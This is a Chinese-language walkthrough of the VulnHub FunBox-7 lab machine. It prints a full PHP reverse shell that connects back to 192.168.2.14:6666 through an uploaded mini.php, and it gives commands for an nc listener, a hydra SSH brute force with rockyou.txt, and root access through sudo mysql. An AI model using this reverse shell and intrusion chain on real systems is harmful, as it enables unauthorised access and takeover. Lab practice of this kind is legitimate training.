vulnhub靶场之FunBox-7

 

一.环境搭建

1.靶场描述

Boot2root in 6 steps for script-kiddies.

Timeframe to root this box: 20 mins to never ever. It's on you.

HINTS:
Enum without sense, costs you too many time:

Use "Daisys best friend" for information gathering.
Visit "Karla at home".
John and Hydra loves only rockyou.txt
Enum/reduce the users to brute force with or brute force the rest of your life.
This works better with VirtualBox rather than VMware

题目提到了hydra和rockyou.txt,可以看到暴力破解

2.靶场下载

https://www.vulnhub.com/entry/funbox-easyenum,565/

3.靶场启动

靶场IP地址我们不知道，但是我们知道网段是192.168.2.0/24

二.信息收集

1.寻找靶场真实IP地址

nmap -sP 192.168.2.0/24

arp-scan -l

靶场真实IP地址为192.168.2.7

2.探测端口及服务

nmap -p- -sV 192.168.2.7

开放了80端口和22端口
80端口为apache2服务
22端口为ssh服务

这里可以想到ssh登录

三.渗透测试

1.访问web服务

http://192.168.2.7

发现是一个apache2页面

2.扫描web服务

1)nikto扫描

nikto -h http://192.168.2.7

扫描到一个robots.txt页面和/phpmyadmin登录页面

但是都没有什么用

2)dirsearch扫描

dirsearch -u http://192.168.2.7 -e * -x 403 --random-agent

dirb http://192.168.2.7

都没有扫描到有用的信息，我们换一个字典进行扫描

3)gobuster扫描

gobuster dir -u http://192.168.2.7 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,txt,html

我们可以看到多了一个/mini.php页面，我们进行访问

3.渗透测试

1)访问mini.php页面

http://192.168.2.7/mini.php

我们可以看到有文件上传的地方,但是这里直接上传一句话木马是没有作用的，这里我们修改mini.php文件

2)修改文件内容

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.2.14';  // CHANGE THIS
$port = 6666;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

3)反弹shell

打开另一个终端以使用 nc监听反向连接。如果没有获得反向 shell，请单击 Go 选项 3-4 次。

nc -lvp 6666

使用python切换shell：python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

4)ssh登录

find / -perm -u=s -type f 2>/dev/null

可以看到提权方式是2个，但是需要root密码

进入家目录 发现有五个用户(我们想到题目的提示hydra) 直接尝试暴力破解 使用 hydra 一个一个试 最后爆破得到：goat/thebest

hydra -l goat -P "rockyou.txt" ssh://192.168.2.7

我们可以看到爆破成功，爆破时间8分钟

5)提权

sudo -l 发现是mysql

提权网站 查询一下：https://gtfobins.github.io

sudo mysql -e '\! /bin/sh'

可以看到权限是root用户,我们查看flag即可